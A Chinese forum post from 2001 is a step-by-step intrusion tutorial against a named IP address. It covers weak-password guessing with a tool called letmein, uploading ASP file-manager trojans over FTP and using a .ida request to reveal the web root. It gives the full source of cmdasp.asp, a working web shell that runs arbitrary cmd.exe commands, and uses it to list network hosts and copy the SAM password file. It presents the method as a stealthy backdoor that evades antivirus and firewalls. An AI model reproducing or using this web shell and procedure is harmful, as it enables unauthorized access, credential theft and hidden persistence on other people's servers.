city

数字城市

21 成员272 主题84 回复0 张照片

利用ASP的特殊功能来实现的木马和入侵

如
如风逝去
2001-04-24 14:37
利用ASP的特殊功能来实现的木马和入侵

作者:SQL
主页:minisql.yeah.net
Windows下传统意义上的木马都是一个独立的EXE程序,他们都需要单独开一个端口来实现监听远程的客户端并且都会去改动系统注册表或是系统文件来保证每次开机的时候来启动自己的目的所以很容易被人发现,而且一旦对方主机的管理员配置了防火墙限制了主机开放的端口则木马也就都要失效的。典型的例子就是如果你有机会去给一台主机种木马的话最好先去ping一下对方的IP地址,如果你PING不通的话劝你最好也要放弃,因为这说明对方主机肯定装了防火墙所以对ICMP的报文不会回应的,当然你的木马所开的端口也就是非法的端口而无法实现远程连接了。其实对于NT下开启了WEB服务的主机我们其实可以去利用ASP的程序来实现一个简单的远程控制,这是由于ASP中的内置FSO组件可以用来实现文件的大部分操作的,如果我们稍加利用就可以做出一个非常的小木马可以用来在对方主机实现各种文件操作包括新建文本文件和目录,删除任意文件和目录,随意浏览对方主机的所有硬盘上的文件并且可以查看文本文件内容,还可以任意在对方主机上拷贝文件。

好了现在我给大家介绍一个非常不错的现成的ASP管理程序,网辰在线网页维护系统2.0,你可以来我的主页找到这套ASP的程序。既然已经有了测试程序当然我们也还要找一个测试环境,用LETMEIN简单的找了一会儿就发现了一个目标。

我们用letmein 61.139.46.100 –all –g 这个命令来对61.139.46.100这台主机进行一个简单的密码探测看看结果是什么:


不错我们很快就发现了对方主机的用户里有一个用户名为billing的朋友他的密码恰巧也是billing好了,我们这时候就可以用FTP连接上去看看对方的FTP目录是什么了:)这里多讲一句如果你还不是特别熟悉FTP的命令格式的化就用一个图形界面的FTP工具好了,WINDOWS下自带的FTP工具实在是不太方便的,但其他很多高手的文章里偏偏都是用他的多,其实CUTEFTP就可以很好的满足我们的要求了而且最重要的是非常的方便来看看吧。


我们首先设置好我们的用户名和密码还有FTP的主机地址就可以直接连到对方主机里了,不错我们的运气还可以这个用户有一个可以用WEB浏览的目录也就是说非常符合我们的实验条件的。快把我们准备好的几个ASP程序放过去吧,这时候我们就可以直接用鼠标把ASP程序给拽过去了,是不是要比用命令行的格式快多了轻松多了:)好了等所有程序拷贝过去以后我们就可以用IE浏览器去对方的主机来执行我们的ASP程序了,我们在地址栏里用

http://61.139.46.100/index.asp来执行程序,首先这个ASP的管理程序会让我们输入一个密码来证明我们的身份当然密码是我们可以直接在本地就设置好了的。这样可以保证其他人不会轻易的利用我们辛苦种下的程序。然后我们就可以直接看到对方这台NT4.0上的目录列表情况了,好好看看你会发现他做的非常想一个资源管理器所以我们可以很轻松的上手的。


我们可以利用编辑命令来查看对方主机上的文本文件,如下面就是我来查看对方主机的c:\boot.ini这个文件的内容。当然也可以直接在下面这里来更改文件的内容。


但是如果我们想要下载对方主机WEB目录以外的文件如何来实现呢?其实也很简单的我们只要选中我们想要的文件然后把他拷贝到对方主机上的WEB目录下就可以了,但我们怎么确定对方主机WEB目录的物理路径呢?呵呵~ 也很简单的我们只要直接在URL后面加上一个.ida就可以看到了好象这样子:


看到了对方的WEB目录就是d:\inetpub\billing\下,下面我们选中d:\chat2.zip这个文件选择复制命令然后添入我们要复制的目录d:\inetpub\billing\1998\下就可以了。


当命令成功执行后浏览器就会返回下面的消息。


好了其实用这个程序我们实际上可以做很多事情,而且操作都是非常简单的,稍微看看就可以学会的。讲了这么多可实际上我们还有一个问题没有解决呢,就是对方的WEB目录下并没有可执行的目录在如:cgi-bin 。如果我们想要执行一个程序或是其他命令的话就不太方便的了,其实这个问题也困饶了我很久直到最近的几篇文章的出现才解决了这个问题。下面把这个我已经编译好的ASP程序代码给大家看,利用这个程序我们可以非常轻松的在对方主机上运行任意命令,而且所有程序执行后的结果我们都可以看到!
《%@ Language=VBScript %》

《%

Dim oScript

Dim oScriptNet

Dim oFileSys, oFile

Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be using -- '

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")


' -- check for a command that we have posted -- '

szCMD = Request.Form(".CMD")

If (szCMD <> &amp;quot;&amp;quot;) Then

' -- Use a poor man's pipe ... a temp file -- '

szTempFile = &amp;quot;C:\&amp;quot; &amp;amp; oFileSys.GetTempName( )

Call oScript.Run (&amp;quot;cmd.exe /c &amp;quot; &amp;amp; szCMD &amp;amp; &amp;quot; > &amp;quot; &amp;amp; szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%》

《HTML》

《BODY》

《FORM action="" method="POST"》

《input type=text name=".CMD" size=45 value=""》

《input type=submit value="Run"》

《/FORM》


《PRE》

《%

If (IsObject(oFile)) Then

' -- Read the output from our command and remove the temp file -- '

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If

%》

《/BODY》

《/HTML》

注意:请把《》换为<>

好让我们把这个ASP程序传到对方主机的WEB目录下,取名为cmdasp.asp然后直接用浏览器来执行看看。


我们直接用dir这个命令来查看对方主机上的文件列表怎么样?吃了一惊吧?是不是非常方便呢?再来看看下面我们用net view命令来查看对方所在局域网上的主机列表的结果。



最后嘛当然是要把sam拷下来研究了,我们直接用copy命令就可以了。非常有意思的是如果用我们刚才的那个ASP木马是无法拷贝这个SAM文件的因为我们的权限是不够的当我们用这个ASP程序却可以实现。

讲了这么多无非是向大家推荐另外一种木马的实现。用ASP程序来帮助我们入侵是有很多好处的首先它不用留在内存里所以杀毒软件是根本无法发现他的而且他应该可以绕过大部分的防火墙的阻拦因为我们是通过80端口这个合法的端口来实现我们的调运的并没有开额外的端口出来。我们要做的就是要找到一个有WEB目录的用户密码然后把我们的程序隐藏到对方目录下的一个文件里去方便以后我们随时调用或者也可以在每次用后删除掉。毕竟这绝对是一种非常隐蔽而且很有新意的入侵不是吗?
1 / 1

登录后回复。